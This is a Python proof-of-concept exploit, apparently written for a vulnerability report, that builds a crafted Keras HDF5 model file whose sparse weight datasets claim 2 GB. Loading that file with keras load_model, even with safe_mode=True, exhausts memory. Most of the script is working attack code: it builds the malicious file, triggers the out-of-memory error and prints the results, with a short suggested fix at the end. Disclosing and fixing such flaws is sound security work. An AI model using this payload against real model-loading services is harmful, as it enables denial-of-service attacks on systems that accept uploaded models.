""" PoC: Keras HDF5 Sparse Weight Dataset Decompression Bomb Target : keras (PyPI) + h5py (PyPI) Format : Keras Legacy HDF5 (.h5 / .keras) Tested : keras 3.15.0, h5py 3.14.0, Python 3.12 Author : mgm-77 / MBM7 === Finding: HDF5 sparse chunked dataset → GB-scale allocation via keras.load_model === CWE-789 (Uncontrolled Memory Allocation) / Pattern #7 CULA HDF5 supports chunked storage where unwritten chunks exist only as metadata (fill-value sparse). A crafted .h5 model file can declare a weight dataset with shape (500_000_000,) float32 = 2 GB while storing only a single 40-byte chunk on disk. When keras.models.load_model() → load_model_from_hdf5() → load_weights_from_hdf5_group() is called, h5py resolves the full dataset shape and allocates a numpy array of that size BEFORE reading any chunk data: # h5py/_hl/dataset.py (reading) arr = numpy.empty(self.shape, dtype=self.dtype) ← 2 GB allocated here self.id.read(mspace, fspace, arr, ...) ← fill from chunks No validation of dataset shape vs. model architecture at any point. The attack bypasses safe_mode=True entirely — it is a weight storage attack, not a config deserialization attack. safe_mode only blocks Lambda/pickle deserialization, not weight tensor sizes. === Root cause chain === legacy_h5_format.load_model_from_hdf5() → load_weights_from_hdf5_group() [legacy_h5_format.py ~213] → layer.set_weights(weights) → [for each weight tensor] weight_values = [g[weight_name][...] for ...] ↑ h5py allocates shape-sized array """ import os import sys import json import tempfile import tracemalloc import h5py import numpy as np import keras from keras.src.legacy.saving import legacy_h5_format # ── Build minimal valid Keras HDF5 structure ───────────────────────────────── def build_legit_h5(path: str): """Save a minimal Dense(2, input=(2,)) model as legacy HDF5.""" model = keras.Sequential([keras.layers.Dense(2, input_shape=(2,))]) legacy_h5_format.save_model_to_hdf5(model, path) return model def clone_with_sparse_bomb(src_path: str, dst_path: str, bomb_shape: tuple, bomb_dtype=np.float32): """ Clone a Keras HDF5 file, replacing all weight datasets with chunked sparse datasets of `bomb_shape` claiming huge size but storing only a single tiny chunk. """ chunk = (min(10_000, bomb_shape[0]),) + bomb_shape[1:] with h5py.File(src_path, "r") as src, h5py.File(dst_path, "w") as dst: # Copy all top-level attributes (model_config, keras_version, etc.) for k, v in src.attrs.items(): dst.attrs[k] = v def copy_item(name, obj): parent_path = name.rsplit("/", 1)[0] if "/" in name else "" leaf_name = name.rsplit("/", 1)[-1] parent = dst.require_group(parent_path) if parent_path else dst if isinstance(obj, h5py.Group): grp = dst.require_group(name) for k, v in obj.attrs.items(): grp.attrs[k] = v elif isinstance(obj, h5py.Dataset): # Replace every weight tensor with a sparse bomb dataset if any(w in name for w in ("kernel", "bias", "weight")): ds = parent.create_dataset( leaf_name, shape=bomb_shape, dtype=bomb_dtype, chunks=chunk, fillvalue=0.0, ) ds[0:1] = [1.0] # write a single value to make file valid else: src.copy(name, parent, name=leaf_name) src.visititems(copy_item) # ── Main ────────────────────────────────────────────────────────────────────── BOMB_SHAPE = (500_000_000,) # 2 GB when read as float32 BOMB_DTYPE = np.float32 EXPECTED_GB = BOMB_SHAPE[0] * 4 # bytes print("=" * 64) print("Keras HDF5 Sparse Weight Dataset Decompression Bomb") print("CWE-789 / CULA Pattern #7 / safe_mode=True bypass") print("=" * 64) with tempfile.TemporaryDirectory() as tmpdir: legit_path = os.path.join(tmpdir, "legit.h5") mal_path = os.path.join(tmpdir, "bomb.h5") # Build legit model legit_model = build_legit_h5(legit_path) legit_size = os.path.getsize(legit_path) print(f"\n Legit model file : {legit_size:,} bytes") print(f" Architecture : Dense(2, input=(2,)) — 6 parameters") # Create malicious clone clone_with_sparse_bomb(legit_path, mal_path, BOMB_SHAPE, BOMB_DTYPE) mal_size = os.path.getsize(mal_path) print(f"\n Malicious HDF5 : {mal_size:,} bytes") print(f" Claimed weight size: {EXPECTED_GB:,} bytes ({EXPECTED_GB/1e9:.1f} GB)") print(f" Amplification : 1 : {EXPECTED_GB // mal_size:,}") print(f" safe_mode=True : True (attack bypasses safe_mode entirely)") # Verify structure with h5py.File(mal_path, "r") as f: def show(name, obj): if isinstance(obj, h5py.Dataset): print(f" dataset {name}: shape={obj.shape} " f"chunks={obj.chunks} nbytes_claimed={np.prod(obj.shape)*4:,}") print("\n HDF5 dataset structure (malicious file):") f.visititems(show) # ── Trigger OOM ────────────────────────────────────────────────────────── print("\n Loading with keras.models.load_model(safe_mode=True) ...") tracemalloc.start() try: loaded = legacy_h5_format.load_model_from_hdf5( mal_path, safe_mode=True ) peak = tracemalloc.get_traced_memory()[1] print(f" Result : LOADED (unexpected)") print(f" Peak memory : {peak:,} bytes") except MemoryError: peak = tracemalloc.get_traced_memory()[1] print(f" Result : MemoryError — OOM triggered ✓") print(f" Peak memory : {peak/1e6:.0f} MB") except Exception as e: peak = tracemalloc.get_traced_memory()[1] print(f" Result : {type(e).__name__}: {e}") print(f" Peak memory : {peak/1e6:.0f} MB ← allocation happened") finally: tracemalloc.stop() # ── Root cause summary ──────────────────────────────────────────────────────── print() print("=" * 64) print("Root cause — h5py dataset read path:") print() print(" ds = hdf5_group[weight_name] # shape=(500_000_000,)") print(" arr = numpy.empty(ds.shape, ...) # ← 2 GB allocated here") print(" ds.id.read(...) # fill from sparse chunks") print() print(" No shape validation in keras before h5py read.") print(" safe_mode only blocks Lambda/pickle — not weight tensor sizes.") print() print("Suggested fix: validate dataset.shape vs. expected_shape") print(" before calling dataset[...] in load_weights_from_hdf5_group():") print() print(" MAX_WEIGHT_BYTES = 512 * 1024 * 1024 # 512 MB per tensor") print(" if ds.size * ds.dtype.itemsize > MAX_WEIGHT_BYTES:") print(" raise ValueError('Weight tensor too large to load safely')") print() print("=" * 64) print(f"keras version : {keras.__version__}") print(f"h5py version : {h5py.__version__}") print(f"Python : {sys.version.split()[0]}")